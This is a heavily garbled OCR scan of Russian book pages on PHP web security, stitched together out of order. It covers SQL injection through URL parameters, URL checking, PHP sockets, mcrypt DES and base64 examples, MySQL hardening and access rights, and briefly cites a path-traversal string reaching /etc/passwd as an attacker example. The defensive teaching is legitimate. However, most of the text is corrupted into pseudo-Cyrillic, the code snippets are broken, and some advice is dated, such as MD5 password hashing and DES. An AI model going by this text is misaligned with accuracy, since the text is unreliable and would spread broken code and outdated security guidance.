TIpi 3TOM Ha KIKIOM Tare HYXHO TPOBEPATS PESYLTAT Ha OUIHGKY, H €CTH OH €CTh,
TO KOPpEKTHO 0GPAGATHIBATS HEWITATHYI0 CHTYALLHIO. 51 CTApAIOCh JBBTS MIKCHMATHHO
TIOPOGHOE OMHGAHKE, TIOTOMY HTO €GiH PECTABAATH, KaK Bee PAGOTAET, TO MpOLLE 110~
AT H METOTS.
706k YIPOCTHTS A5 MIPOTPAMMHCTAM H CAENATS K07 Goriee HarmAaHbiv, b PHP Goi-
7 BHeAperSI Abe GyHKLIH: Esockopen () H psockopen (). OHK BHTOTHAIOT BCe TPH Liara,
ONMCAHHHIE BLiIE, H TIpH SToM KOPPEKTHO OGPASATHIBAIOT BOIMOXHHIE OUIHOKH. DYHK-
UMM BBITIATAT CXOKHM OGPASOM 1 HMEIOT ONHHAKOBHIE TAPANETPH:
int £sockepen(string host, int port,

{int errmo, string erestr, dowsle timeout])
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Ha CONEPAMMO TIEPEMEHHVX, HEOOXOIHMO TPONIBOTITE BCe MPORCPH, @ Ty He-
TIOTH30BATS MAPAMETPHIMPOBIHHHIE 3aMPOCH, CErONHA NEPEMERHAR JARAETCA CTarHve-
ki B CUEHApHH, 3 5ABTPA A YAOGCTBA NOTHIORITETR OHG MOKET JAIIBITHCH HEpes
cTpOKy URL. Bbi MOKETE MIMHATS HCTONHAK (HOpMMPORANIA NepeMeHHOf 1 3a06iT
_AOGABHTS NPOBEPKY, YTO MIPHBEAET K IEHATHEIM MIOCCACTEHAN.

BHiBaeT Tak, o paspaGaTHIBaA CaliT, POTPANMHCTH COXPARAIOT B TAG/HLE Gash 2a
MurX conepmMoe ocHOBHOR wacTi Web-cTpamiu. CTPYKTYpa TabIMUs! MOAET GbiTh
T0GOH, HO CMBICT IONTH BCETIA OAMH — KITIO4 M 110713, KOTOpHE COXEPAAT AaHHHE,
oToGpaxaemsie Ha crpanuue. Crpoka URL /115 TaKAX Caffon BHIIAIHT CACTYIOUUM
obpaton:
bttps//www.sitename.comyindex.php?id=

Uepes crpoxy URL nepeaseTes napaverp ic, KOTOpOMY MHCRIMBACTC HACIOROE Ha-

e, VMR TIapaMETPa MOKET GHiTh ZPYTHM (4AIte A BCTPEHalo MEHHO Lc). HO CMBCT

1010 NAPAMETP — WAEHTHHKATOP CTPOKI B TAGAHIE, AaNHbIE KOTOPOH HYAHO OTO-

Gpass Ha crpanue.

KOrza 1063087t SATIPALIMBAET OTIDEAEIICHIYIO CTPAHHLY, IPOHEXOTHT CeayIolIee:

1. C nowomsro PHP-xona s (afina sarpyactes wanka crpanmis

2. M Tamiues Gashs 2aHHbX 3aNpAIMBAETER CTPOKA € WIEHTHHKATOPOM. TepeAaHIEI
B KatecTBE NapaueTPa.

3. Ha ocrone nonysentoft crpon popwmpyeres Web-crpannua

4. JarpYKAETH 1 OTOGPIKETCA 10161 CTPAHIHLI.

JlioGoft Xakep, koraa ok saxonur wa Web-cafit u enawt b crpoxe URL napaverp id,

TIEPBLIM AETOM MBTAETCA TIOTCTABHTS B HETO CAYAEOHHE CHMBOTH SQL, KOTOPHE Wbt

paccwmarpusan pance. ECw ciienapiii He (HIBTPYET NapaMETpHIMpORANILIE 3aTPOCH,

W TpH 970N Ha CTpaNMue oToGpaKaeTeR ouMOOUMKH SQL-3NpOc, TO XaKep MOKET

onpeeTy:

0 nenonsayewsie wa caiite sanpocs;
O UpHOTHSHTETBHYIO CTPYKTYPY TAGTHIS! H a3t AaHHbIX.
Janbeituie A€ACTENS — NOMBITATICA ¢ MOMOILIHO CAYKEGHAIX CHMBO/IOB MOTHHI-

povars, SQL-3APOC TaKiM OGPEI0N, STOGH NOTYHHTH GOTbILME NPABA, YBHAETS IaKDH-
Y10 OBAACTS CAiT, YHITORNTS I NOAMEHITS AuHHSE

3.8.7. Tipoeepra URL

a3 BHAEA, KasTOCH Gbi, AOCTATOMHO XOPOUICe PEIEHHE ¢ TOUKH FpeHHs Geso-
nacHocTH. TIpOTPAMMHCT HEGOTBUIOTO caifTa COYINT Gasy AGHHHIX BCEX BOMOKHEIX
URL-a1pecos, 1 nepea 3arpy3ioit Kakofi-niG0 CTpaMIIb TPOHCKOATA MPOBEPKa HaTH-
na anpeca B Gase zamnbix. Ecnn URL b Gase npHCyTeTBoBas, To 3arpysia paspeuaace,
2 €CH HET, To BHTONHEHMHE CLICHAPHS NpepbIBETOCh. Bpoae Gbi BCE HACATHHO, BEb Xa-
Kep He MoweT HaGpaTh URL, KOTOpOrO Her b Gase. Ho HHHero WIEATbHOTO He Ghiaer.
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W OIMGKH MOKHO YIHATS ¢ TOMOLILO GYHKIMM socket_sterrox (). Uaie beero
OWIMGKH TIPOHEX O, KOTa CETh HEZOCTYTIHA WM TIOPT YK SAHAT (37a QUMK BO3HH-
Kacr mpi paoTe ¢ GymIIEH socket,bind(). JIbe MPOTPANMB He MOTYT OTKPHITS OTH
WToT e nopr.

Wruumanusaums

‘Cawoe MepBoe, S0 HEOGXOTINO CAETATS, — COYIATS COKET, Hepe3 KOTopli GYZeT mpo-
HCXOTTH  BCA  MOGTEIYIOWAR paGOTa. JIA TOTO  HCTOMSSYETCH Gy
Socket_create (), KOTOPa b OBILEM BHAE BHTIRINT TaK:
int socket,_create(int domain, int type, int protocol)
'V 9700 pywiuH TpH napaeTpa:
3 nepBli NAPAMETp MOKET IPHHKMATS OTHO 3 ABYX SHaseH:
 AE_INET— yKaBacT Ha HEOGXOMMMOCTS HCTOTB3OBAHHA TIPOTOKOA CemeicTsa
Mirrepnera, K taxsnw npotokonam orwocstes TCP, UDP, FTP, HTTP, POP3
W
© AF_ONTX— WCTIOTH3YETC /A B3AHMOAETCTEHA MEATY MPONECCaNs;
O 5TOpO/i NAPANETP MOXET MPHHHMATS OHO W3 CTEAYIOWIHX SHaNerHH:
* SOCK_STREA — NIDEHCHIBAET HCTIOE30BATS TIOTOKH, T €. MPOTOK07 TCP;

* S0CK_DGRAY — ompezeTHeT Hemonb3oBaHHe npoTokona UDP, KoTopiil He TpeGyer
[t —p———

 SOCK SEQPACKET — TAPANTWPYET TIOGAGIOBATETYIO AOCTABKY nakeros. Taxax
TIepeIata AAHHX MOKET GHTS IOTE3Ha MpH Tepeate J8YKa WIH BHIED;

+ SO0 U — yCTaHaRTMBAET CeTeBOM YpoeNs BsaOelicTB s (npoTokost IP);

0 b nocrensen napaverpe paspaGoTmki PHP 31yMBaiH YKAIHBAT NPOTOKOT, HO
MOAHO SA1aTh KGO 0, TIOTOMY HTO THN IPOTOKOTA M H Tak TIEPEAAEM BO BTOPOM
napaverpe.

B KatecThe pesySTaTa YKL socket_create ) BOTBPAUIAET YHCTO, KOTOPO M YKa-
awimaeT Ha coszanH CoKeT.

CepoepHite @yHKuUM

PACCMOTPHM T100%€PEHO CepBEpHSIE W KIHENTEKHE (bykutas. JLT% cepBepa nociie cos-
J8HHS COKETa HEOGXOTHMO CBAYATH JTOT COKET C JIOKATSHBIM QPECOM C MIOMOLIHO
by socket_bind ():

int socket_bind(int socket, string address [, int portl)
'V 970K hywiaAn TpH napaeTpa:

O coaanmnii ¢ MOMOUILO yHKIH socket._create () CoKeT;

0 noxammsii IP-axpec;

O TIOpT, Ha KOTOPOM CepBEp GYeT OAHAATS CeTeBHE MaKeT
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W CHOXHbe, TO 3a1a% N0G0Pa GYIET Hepectyp SaTPATHON, H GOTLUIMHCTBO XaKepoD
IPOCTO GPOGHT 3Ty 3ATeIO  CTaHET HCKATS APYTO BAPWANT PELICHHA POGAENH.

Tlepefizew HenocpeACTAEHHO K WppORaHIIO. HET, Haw He IPWIETCA MPHAYMBIBATS Wik
PEATIIORHIBATS, KAKOH-THGO ITOPHTM CAMOCTORTEILHO, XOTA H 9TO BOSMOXHO. Mot Boc-
TOMb3yeNEs YKe rOTOBbINI byHKIASNM. PeatiiosaT ACHCTBHTENSHO CTOMKH &iro-
PHTM CLIKOM CoHO. Hazt STOf TeNOR GheTea GobilIoe KOTHHECTBO BETHKHX MaTe-
MATHKOB, TIOJTOMY He GYIIEM C HHMH COPEBHOBATECH, @ BOCTIOTBSYEMC YKE FOTOBINK
aTropHTMaMH # peamisauAM. Tem Goee, 4O B GOTLUMHCTBE CTYHaEB KX BrOTHE
AocTaToHo.

51 He COBETYIO BAM BITATHCA COVIABATS COGCTEHHYIO PEATHIALIHIO ABKE YKE SAPEKO-
MeHIIOBABUIEro AATOPHTMA W pOBaHHA, OuGKH. HeT rapasim, 4To sbi He fonycTiTe
OHY OUIKGKY, KOTOpaR CTaeT nocAeNeM. JIyiiie JOBEPHTECH FOTOBBIM PEATHSAHN
42 PHIHKE, KOTOPBIE Y XOPOILIO OTAIACH H TIPOTECTHPOBHHI BPEMEHEN.

TIHPPOBHHE MOKET GHiTh CHMMETPHIHbIN, ACHMMETPHSHBIM 1T HeoGpaTHMBM. Mot
[PACCMOTPIM BcE TPH BHLIA W HAUMEM € CAMOTO MIPOCTOTO — CHMMETPHHOTO.

3.10.1. CummeTpuuHOe WUPpPOBaHUE

Hicropiseckn cuswempuunoe wudposante osBwi0c nepsiv. JIaa wHposanns 1an-

HUIX HCTIOTH3YETCA K1Y, KOTOPHIH CTYKHT 1 T4 ACUMGPOBKH JaiuiX. Cansiit po-

CTO BAPHAHT 3aILIMPOBATE CTPOKY — BHITOTHITS AOTHIECKYIO OMIEPAUIHIO XOR HAZ Aai-

W W Kmosiow. JLna pacumposK# TpebyeTes NOBTOpHTH onepatnio. bes swanis

K104 3aLHPOBIHHBIE AGHHSIE CTAHOBITCA HESHTIEMBINH.

KaKofi Gt CAOKHSI ITOPHTM BB HA HCTIOTH3OBATH, Y CHMMETPHIHOTO WHGpOBaHHS

€CTE HECKOTBKO Ol CepLESHbIX HENOCTATKOB.

O Oan crios WeronbsyeTes s wbpoBaHHA W eurHppoBaNHS. Takiw 0GpaON, 0T-
TIDABITE W TIOAY AT SaUIMBPOBIHHbIX AHHBIX ZOTKHH OGIATAT OTHHM I TeM
K KIIOHOM. A KK OGMEHSTCA Kniowawh epes HHTEpHET, KOra a7a coszh OTKpH-
“Tas? JIOMYCTHM, 'O B XOTHTE TIOOGHLATEC CO CHOMM APYTOM 3 PYTOrO FOpOa 10
SAEKTPOHHOR NOWTE, He GORCH, MTO KTO-TO MOACMOTPHT Bally riepenvcky. OAH 1
BAC OTKEH NPHIYMATS HIH CTEHEPUPOBATS KO, C TIOMOLLSIO KOTOPOTO GYZET 11po-
HCXOTHTS WHQpOBaIYE, W BHCAATS Hepes e-mail choewy Koppecnonzenty. Ecn
K04 He Ghun Mepexnasen, TO MOGTEIYIOUIHE JaUHPPOBANHBIE COOBUIENHS MOKHO
CMTATS SaKpHTHIMM ("GHHTATS, IOTOMY “TO JALNTA JABHCHT OT CTORKOGTH ArO-
AT UIHPPOBHIA), HO €CAM IHCHAO ¢ KTIOHOM GBUIO IepEXBAYEHO, TO WH(poBa-
HHE CTAHOBHTCA GECOMBCTEHHEIN,

0 Xakepsi yTBepKAIOT (H STOMY JOCTATONHO MOXTBEPAEHAH), 4TO HHpOPMALIS, W3-
BECTHAR IBOHM, MOKET CTaTh ZI0CTYHOM BeeM. ECTH MHOTO CrIOcOG0B. MoTyseHHS
HYKHEX CrezenHi.

M Bce e, CHMMETpHIHOMY UIMBPOBANHIO MOAHO WATH MHOKECTBO bexTBHbX

piwerenwi. Hanpiwep, wibponavie ManHbX Ha cepaepe. JIOMyCTH, 4TO HEOBXOMH-

MO aUIMPPOBATH KAKOR-THGO JIOKYMEHT, \TOGHI XaKEP, BHIOMAB CEpBep, He COT YBH-
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Hexons ws mpesunyiuieh peKOMEHTAUH, HEOGXOTMO DHISTPOBATS ABOMHYI0 TOSKY W
e (oGpaTHBif caeum), “TOGH XaKep He CMOT YKEITS OTHOCHTETSHOTO MyTH K CHCTENM-
HbIM KaTan0raM. ECH TI0CMOTPETS HCTOPHIO GroIeTeHe GE3ONACHOCTH, TO B YBHIMTE
'MHOTO COOGILEHHH, B KOTOPHIX XaKep CMOT GIaronaps OwHGKe HOTIOTL30BaTS My THTA
J..Jetc/passw w IpoCMOTpETs ciHCOK nos30BaTeNCH CHCTEMS
Crenue 3a npasawi 10cTyna K aiiaw. JLTA SATHCH BCEM MOTH3OBATENAM TOTKHE
GbiTs MOCTYMHB! TOTBKO ACHCTBHTENbHO HeoOXomMble Gaiisi, a Gailnbl cueHaphes
K TaKOBBIM He OTHOCATCA.
K coxanenino, b cyuae ¢ (ai1a, HET NapaMETPHIHOBAHHEIX (byHKIHA 114 PaGOTH
© .
H nce e, 5 He peKomeRIyIo HoroTkI08aTh oGpaterna K GailioRoi cHCTewe, re Ha
yTH Moer nonmwATs nonsopatens. ocTapaiiTecs HaifTi APYTOE petienye MpoGAEMS,
a mysme Henonsayiite Gasy JaHHbIX. Baskl AQHHBX — CAMOE COBDEMCHHOE H YHHBED-
canbioe peueiie. PaGOTaTS ¢ QaiiawH MPHXOTHTCA JOCTATONHO HACTO, H CTYHaSH, Ko-
28 Ha HieHa §aILIOB MOKET MOBTHATS TIOTS30BATETb, HE AOTKHO GHIT.

KOrA HEBOSMOKHO HAWTH HHOE PEUEH¥E, SeM TIOJBOTHTS TIOTHIORATEIO BIHSTS Ha
alin W TyTh, HeOBXOMMMO GHITH MpeenbHO BHMMaTeBHbIN. Hanpiwep, Ha dopywax
‘ONEHS HACTO' HCTIOTSIYIOTCA KAPTHHKH, KOTOPHE MOXNO BHIGHPATS LA OTOGPRAEHHA
A CBOMMI CooGuIEHMANH. B AGHHOM Gy MOAHO WIOEAATS yKasaws myTw K Gaiiny
sepes mepemertyso. % STOTO Bee MyTH K KaPTHHKAM NPOMIHCHBAIOTEA B TaGTMLLe Gaset
RAHHbX, 3 MOH30BATETS AOTKEH TOTHKO YKASATS WIEHTHOHKATO HEOGXOMMNOF 5amh-
G, M YTh Yoke GYET HIBTEKATECS H3 Gasi,

3.10. Kpunrorpagus

3a Bpens HanHCaHWs STOH KHHIH (8 MECAUIEE) A TECTAPOBAT MHOTO CaTOB H TIDOCTO
ClUEHapHEB Ha GE30NACHOCTS, CTAPAACH BHABHTE HANGOTEE PACTIPOCTPAHERHEIE OWMOKH
‘omncars wx. Ha oummGKax ysarcs. Mo HCCACZOBAHY TIOKASATH, HTO MPOTPAMMACTSI He
TOGAT MeOT30BATY WHDPOBAlHE. MOKET GBITh, OHI CHMTAIOT 9Ty TEMY CAMIIKOM
Cl0KHOH W WIGEraioT €e? 1 NOMIITAICH MPOIENOHCTPHPOBATE BaN, S0 WHPOBaNMHE
TIPOCTO HEOGXOMO, 1 Bt YGeaHTeck, 1o ¢ PHP 370 He TaKk Y 1 CIOXIHO.

Bee 11apoH, KOTOpBIE XPHSTCA Ha CEPBEpE, A0TKHH! IUHBPOBATECS, NPHYEM TaKHM Crlo-
OGOM, 'TOBk ZeLIMPPOBaHHE GBI HEBOIMOKHO, H ITO OCTHTAETCA HCTIOTH3OBAHHEN
anropwia MDS. TakHe JaHHbE H0;KHS! XPAHHTECA B HESHTASMOM BHIE, JAKE CCH Bbi
YBEDeHs, TO BIOM HEBOIMOKeH. HCTOPHS JOKASHIBAET, HTO BYIOMAT MOKHO MPAKTH-
Hecki Bce, XaKephl HAXOTTH YRIBHMOCTH, Ka3IOCh Gbl, B 04€HS JAUIMILEHHBIX CHCT-
wax. BOnpoc TOTKo B ToM, KAk AATEKO MOXET NOMTH Xaxep? ECAM Xakep cor nony-
WHTH Gasy MGHHBIX TOTE3OBATENCH C NAPOTAMH, H TIpH STOM BCE RHHE HAXOLATCA
B OTKPBITON BiLZe, TO 307a4A BVIOMIUIK CHTBHO YTPOUIaETES. ECii e napoh 3auidp-
PoBaHBI, TO 1 MPHIETCS eie W pacuppoBHBaTS

Uew Gortee CTOMKHH AITOPHTM IMQPOBIHHA IPHMEHAETCA B CHCTEMe, Tew CAORHEE Gy-
€T XaKepy PacKPHITS HEOGX0AMMYIO HHopMaILI0. ECTH Napo JOCTATONHO ATHiHe
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Tewa. FTaK, 3AUINTa HAYHHACTCA C YCTAHOBKH  IDEABAPATEALHOTO KOHGHTYPHPOBAHHS.

B crysac ¢ MySQL HEOBX0RHMO BRITOTHHTS creayiowve AcHCTB S

1. CepBep Gash ZaHHbIX YCTAHGRTHBAETCA C HACTPORKANH 10 YMOTHGHIO, TIpH KOTOPHX
ANMHHCTPATOpCKHH IOCTYT PA3pEUICH NOKIORATENHO 0O ¢ MYCTHIM apoTeM. IT0
HeGesonacko. HEOGXOMNO KIK MHHHMYM YCTAHOBHTS CAOKHIA Napots, & Tysie
nepenmenosats yseTHyio sanvch root. Ecan nut paboranm ¢ OC Linux, 10 zomsms:
SHATS, HTO B 5TOM CHCTEME ATMHHHCTPATOPOM TOKE ABIAETCA 100, HMEHa aIMHHHCT-
patopa s OC u b Gase TanHbIX HHKaK He CoaNb,

2. Hazo 5aG10kMpoBaTs anomMMHBIH K0cTYR K Gase Aanmbix. TToAKTIOUEHNS A0TKHS
"MPOMSBOTITLCA TOTBKO /1A GBTOPHIOBGHHHIX IO IOBATENEH.

3. HeoGXOIHMO YIATHT Bce Gasst JGHHHX, COVIAHbIE JI% TECTHPOBAHHS W OTIAIKH
Tlo yMonaHHI0 B GOTLUIMHCTRE cepBepon Gas Aaumbix (8 Tow wwce B MySQL)
YeTAHABTHBACTCR TecToBAY a8 AawHbIX. B paGOTOIIEH CHETEME €e e A0THO
o,

4. HHKOTAA He MOAKTIONATECk K Gase AQHHBIX W3 CUCHADHE OT WMCHH AAMHHHCTPATO-
Pa. CUEHIpHH IOKHH TOTKTIONATHCA K GA3E OF MNEHH NPOCTOTO MOTHIOBATETA H,
KENATEbHO, C MHHHMATHHINH TIDABANM Z0CTYNA. EC Ta0TMLA CONEPAHT HeMsMe-
HACMBIE AGHHMC, TO HYKHO 3ANPETHTH NOTH3OBATEINNO. BHIOTHEHE OTEPATOP
0POATE. Jla, MIPHIETCA MOTPATHT BPEMA Ha HACTPOFIKY TIPAB AOCTYIIa, HO Ge3 3TOrO He.
oGofirHce.

JIwao % paGoraso ¢ Gasofi AAHHHIX OT WMEHH CYTIEPTIOTAOBATEIS, Y KOTOPOTO €CTh 107~

Wit J0CTY, @ Bce MOH CAiTHi JUIA NIOTKTIONEHHA HCTIONE3YIOT BHLICTCHNYIO U CaifTa

YHETHYIO JaITHCE, KOTOPAA HMEET JI0CTYN TOTHKO BHITOTHATS 3ANPOCH! — SELECT, UPOATE

W, BOIMOXHO, €llle DELETE. ONeth HACTO BOSHHKAIOT TIPOGAEMbI G HYTHILIHMH NDABANH

oz, KOrAa caifT PAGOTAET M0 Toff e YHETHO SATHCBIO, oA KOTOPO MPOTPaMMHCT

WIIH AAMMHHCTPITOp JAMYCKAET CKPHITTH OGHORTEHMS Gasei AamHbIX. J11 OGHOBTEHHS

caliTa 4aCTO HYXHO COVIABATS HOBHIE TAGTHUS WK J0GARTATH/YIATATS KOToHKH. Ko

CaMOro CalfTa He MOTKCH CO3AABATS WIH YIAIATH KAKFE-THGO OGbEKTH! B Gae, MOITOMY

TYT He HYH TpaBa Ha CO3TaNHE OGHEKTOR.

3.2. Tlpaea pocryna

B NIDOTPAMMHPOBIHHH 1 AINHHHCTPHPOBIHHH HEOGXOMMMO BCEFAA OTTATKHBATHCA OT
NpaBiia — sanpeiteRo Bee, W0 He paspeuico. Koraa Bl HACTPaMBACTE. KOMMbIO-
‘Tep/cephep WK IHMUIETE TIPOTPANNY, HYHO CHA4ATA ATDETHTH AGCOTIOTHO BCE T~
KO TIOTOM BHUIABATS ONPEEACHHIC PaBa. To J0TKHO KACATRES BCETO, € HeM B PaGO-
Taete.

Cuenapwn Aomx mumoMATECA B CHETeNe © MimmNATLHNK npasavn. TTpeanono-
UM, BALL CILEHAPHH JOTKEH WNETD 1PaBO OBPALATICA K CHCTEMHOMY KATATOTY /€lc
B STOM KaTWIOre cepucp NpANNT KOHGHTypaONNSIe (DT, 1 ECTH NOTLSORATEO
JARCTCH CKOIIPOMETHPOBATS CLICHAPHA, TO BEAHKA BEPOATHOCT, 4T XIKEP CMOKET 110~
TYNITL Ha CepBepe MPaBa ATMHHACTPATOPa.
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zeTh €ro conepkmmoe. JIOKYMEHT He GYIET NepeiaBaTLeA 10 cer,
HYAHO OTIGBATS KTI0N, IO3TOMY NEPEXBATHTS €r0 He Y1aCTER.

SHaHHT, HHKOMY He

Cawbifi NpocTOM  COGOG SaIMBPOBATH  AaHHBE — BOCTOTHIORITHCA  ByHKHeH
mexypt_ecb (), KOTOPaX MPHHHMACT HeTHIpE NapaveTpa:

O kowcranty, ykassaiouyio Ha arroputw. Hurepnperatop PHP i wmbposasis
enoksyer GuGavoreKy libmerypt, KOTOpas MOJIEPAHBACT GOTBIIOR KOTHNECTBO a1~
TOPHTMOB, I0JTOMY PACCMATPHBATS HX BCE HET CMBICAA, HO OCHOBHHIE KOHCTANTH!
3mah HeoGxomAMO:

o ncaver_oes— amropumy DES;
o wcreer 3085 — anropuy 3DES;

o wcrver_sLowesH — anropm Blowish;
o wcRver_cast126 — anropumy Casti28;
 cRYET_casT256 — anropimm Cast2S6;

Ko
Aanhble 118 WHbpOBANIS;

aoa

‘e Fech MOKHO YKISATS OHO ) ABYX FHaNCHHI:
© MCRYPT._ENCRYPT — 0UMQPOBATS AaHHE;

 cRYPr_DECRYPT — pacumpopars.

Paccworpis mpocTeluii npHep wibpobarys o anropwTy DES:

<zpnp
ske
Stexes:

‘CooBuensie, KoTOpoR HOMRKO Gtk 3aHPORANO"

Sstrmmcrypt_ech (ICRYPT_DES, Skey, Stext, MCRYPT_ENCRYPT):
B pesytsTaTe B mepenennoN Sstx GyIeT Coxpanen SaumbpoBaHHBIH TEKCT H) MepeNeH-
WO Stex. UroBh pacuImppOBaTE GHHHIE, HYAHO HEMOTKIOBATS TOT e KTION 1 TY e
YHKINIO, HO B KaHeCTBE TPETHErO NAPAVETPa MEPEAT AU PPOBAHISIN TEKCT, & B Ko~
HECTBE TIOCEAHETD — KOHCTANTY MCRYET_DECRYPT:
<zphp.

Sdecrypted_str-merypt_ech(MCRYPT_DES, Skey, Sstr, MCRYPT_DECRYPT);

3.10.2. AcummeTpuuHOe WUPpOBaHUE

Acusexempunoe waudposanue pemaeT IPOGAENY TEPENAUH KIIOHA 10 GETH, HOTOMY WTO.
1A ZGHHOTO BWI WHQPOBAHIS WCTIOT3YIOTES 6a KIKOYA: OTKDHITH W 3aKPHTHA
C nowouio crewsaporanmoi nporpawvsi (s OC Linux 2718 91oro HenomayeTes
Gubaorexa OpenSSL) B rencpHpyeTe Napy #3 OTKPAITOR W JAKPHITOrO Kio%a. OT-
KPTH KO MPUMCHACTCA 1713 WWPOBANHS, & 1A ZCUIMPPOBANMA HEOGXOmMM 3a-
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Ouens wacTo a calfTax ecrs 71eHTa HOBOCTeR, clieHapii A OTTIPaBKH cooGutehm a1-
MHHHCTPATOPY i MBI IPOTPAMM, KOTOPHIE TOTBKO MOAKTIOHAIOTCS K APYTHM CTPaH-
uam, Cuienaphii JEHTH! HOBOCTEH! HACTO BKTIOSEH B F@BHYHO CTPAHLLY, HATPHVEP, ¢ 110~
MOUIHIO include. BIOHE JIOTHYHO YGPATS Bee GaiTii, OTHOCAINECA K TEHTE, B OTAETs-
bt sauuiensii kaTanor. Tax saw GyeT yi0GHee 1 CrioKofitiee YIPaBIATS CalToM,
"IOTOMY SO BEPORTHOCTS BXTONA HEPES SAUMIEHHHE CLEHAPHH PEIKO YMEHBUIHTCS.
AyresmapuKau  nowousio Web-ceppepa HazspacTcs Gazosoii. B 5ToM METOZe ph
Tiepeati MMieHH 1 MO HCTIOTkyeTCH KoTHpoBaHe Base6d, OGpaTHTE BHHMAHHE Ha
71080 "KOTHPOBGHHE". IO HE IMQGPOBIHHE, 1 XOTA TEKCT CTAHOBHTCA HESHTACMBIN, €10
€rKo BoceTaKOBHTS B MTacwbif. Crenyiownsi npuwep PHP-clienapws Kompyer
AexompyeT TeKeT:
<zpp

Sstr="his is tests

print ("<pKompyeuan crpoxa: Sstx </p>");

Sencoded=basetd_encode (St ;

print ("<p>3aromposannst Texcr: Sencoded </p>")

Sdecoded=basecd_decode (Sencoded) ;

print ("<pleromposanindt Texcr: Sdecoded </p>");

i B BHITOTHHTE 9TOT cueHapkl, T0 b pesyabTate Ha Web-crpaiiie yBIHTE npH-
MepHO crenyioee:

Kompyesas crpoxa: This is a test

Saxommposaadi Texcr: VGhocyBpCYEOZAND

Rexomponawasi Texcr: This is a test

TlpencTanner i MPHMep HATALHO JEMOHCTPHPYET, HTO JEKOAHPOBATS TEKCT CTHIKOM
IIPOCTO, 8 KA 3TO He HyKHO CTHLIKOM MHOTO BpEMERH H YCHH. HEZOCTaTOK KOHpoBa-
HHS COCTONT B TOM, HTO &TOPHTM CIHIIIKOM MIPOCT  GGXOTHTCA Ge3 KTiowa, KoTOpsii
MOAET TIOBTHATS Ha PE3YBTAT  10GABHTE ONOHHTETSHYIO GE30NACHOCTS.

5.4. Pabota c cetbio

Mt pacewarpinaew sasik PHP ¢ Touki 3pehis XaKepa, a 310 He TOTHKO G€30MaCHOCTS
WIH ONTHMHIALIAR, HO # CeTeBoe MporpawmMHpoBarHe. JTIoGOM XaKep WIH BYTOMINK
TIPOCTO OGR3aH OTHHO JHATH CeTS H TPOTPAMMHPOBAHHE CCTERbIX MPHIONCHH.

Cy 10 BOMpOca, KOTOpHIE 3 MOAYaK0 Ha CBOM MONTOBIE ALLAK, HMEHHO CeTh BEI3H-
BaCT MaKCHMATLHbIH HITTEpec Y sHTaTereH,

51 OCTapaICH OTIHCHIBATS PAGOTY C CETHIO MAKCHMATEHO IPOSTO. OJIHAKO BCE e Ba
"HEOGXOMHMO TIOHHNATS, KaK YCTPOSHA CeTh, SO MPEACTARIAIOT COGOH MpoToKost TCP
1 UDP # KaKOB! PAVIHHS MEAY HINNH, TO TaKoe JeHTarpasMa 1 1. 2. TIpH wsysess
TeOPHH W BHTIOTHEHMH MPAKTHYECKITX JaTaHHii B CETH Ml OTPAHWIHNCA HITEPHET-
TpoTOKanaNH. COKETS! MOTYT HCTOMBIOBATHES W ATA COETHHENHA MEALLY IPOLECCANH,
HO 3Ty TeMy b PACCMATPHBATS He GyeM.





index-14_1.jpg
16 rnasa 1

1.3. Kak pa6ovaer PHP?

Hro awawT "ncTpansaewuii” s3bik? PacoMoTpiN pocToR mpiep kona Web-crpariius,
B KOTOpOlt Weros3yIOTeR PHP-HHCTpyKutw (vt 1.1),

e

<neat>
<head>
<titie> test page </title>
</head>

<body>
<zphp

Stitle="We are glad to see you again';
<prhello. <zphp echo Stitle 7>

<pocurrent time <?php echo date('y-m-d hii:
</body>

P

SRS

MncTpyam PHP 10 yWOHAHWIO 3aKTIONIOTCR B Ter <7php .. 2> Ml 0Ka He Gyaen
BHMKATS B KO, MOKAXAHHHIH YIeCh, TIOTOMY HTO CeHNAC TIABHAR JANA4a — YACHHTS
npHHLAN paGOTH. ViKe nOGAe STEMWA crenyiomel raBki s mofiMeTe HanHcamili
anecs xoa. Ec1m Teneps bt 3arpysie Ty crpanmaky ¢ Web-cepeepa, To ZOTAHS Y-
JTh MpHMEpHO TO, ¥TO HIOGpaAeHO Ha pHe. 1.1.

ese o sromeretesoe | O

o, We areglad 0 sce you again

cument i 15-12:15 17:03:45

Puc. 1.1, Crpawmua, 8 xoTopoi pacoraet xon PHP

S1kmny B Kawate wy Mers MacBook HMEET KaHATCKHE HACTpOKH, TIOSTOMY W 7aTa Bbi-
"ARIHT TaKAM CTPaHHHIM 0Gpasom. 15-12-15. Ha cawow ene 570 15 nexaGpa 2015 rona,
# cKopo Pomrecrno. (Hazeiocs, “To KitHra GYAET 3KOHHEHa H NIORBHTCA Ha NPHAGBKAX
K cepeamhe 2016 rona.)
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Mt He Gyem rOBOPHTS O HEOGXOIHMOCTH BHGHPATS CHOAHHIE IAPOTH H XPAHHTS HX
B saubponannoM Bae. Mie KEXETES, “TO MPOCTHIE MAPOTH — 9TO MPOGEMA HatH-
HAIOUIAX OTS30BATEAEH, OMHTHBIE MOTB3OBATETH, KOTOPHIMIH ABIAIOTCA AIMHHHCTPG-
TOPHI H MPOTPAMMHCTH, AABHO YKe TIOHATH, HTO TIaPOAb goct HAHOFO TPOULE B3IOMATE,
e Taponb €544k 92-EDh GAPRIENGS.

3.1. KomnnexcHaa sawmra

TIpoGiiema SaUMTH He OTPAHHSHBACTCA TONBKO 3aUTON cueHaps. MoxHo Kancats
canyio GelonacHyio MPOrpavNY, 1O pH IToM YCTaHoRHTS Ha ceprep OC ¢ HacTpoikawH
110 ywosaHHio. HACTPOHKH 110 YMOTHAHHIO MOTYT GHTh ITEKH OT H1€ana, i GIaronaps
1My ceppep MOeT GbiTh BuIOMaH Awke Ge3 Henons3oBanws Web-cuchapies.

Besornactin A0/KeH GHITh He TOTBKO KaKSIE YIACTOK KOZE, HO H KAZAR MPOTPANME,
YeTaHoBICHHA Ha cepBepe, cama OC H BCe HCTIOTh3YeMOe OGOPYIOBIHHE (B OCHOBHON,
10 KacacTes ceTenbix yCTpoficrs)

TIpOrpaMMIHCT AOIAeH Beerta PABOTATS B COTPYAHHICCTRE € AMMHHCTPATOPAMH i cric-
WiAHCTaMM 110 GesonacHocTH. HanpAEp, TPOrPAMMHCT MOKET PELUITS, 4T0 1A €ro
YA0GCTBA HEOBXONHMO CIERATS OTPCIENEHHYIO NANKY OTKPHITOR 1A UTEHAS  3ATHCH
Bcew nonbaopatea. B SToM NANIKE CLEHapHH GYAYT COXPARSTS HekoTopke Aartbie. Ho
Ccri 3Ta NANKa MCTIONS3YETE ATMHHMCTPATOPOM 1A XPAHCHINA BOKHBIX JaHHbX WIH
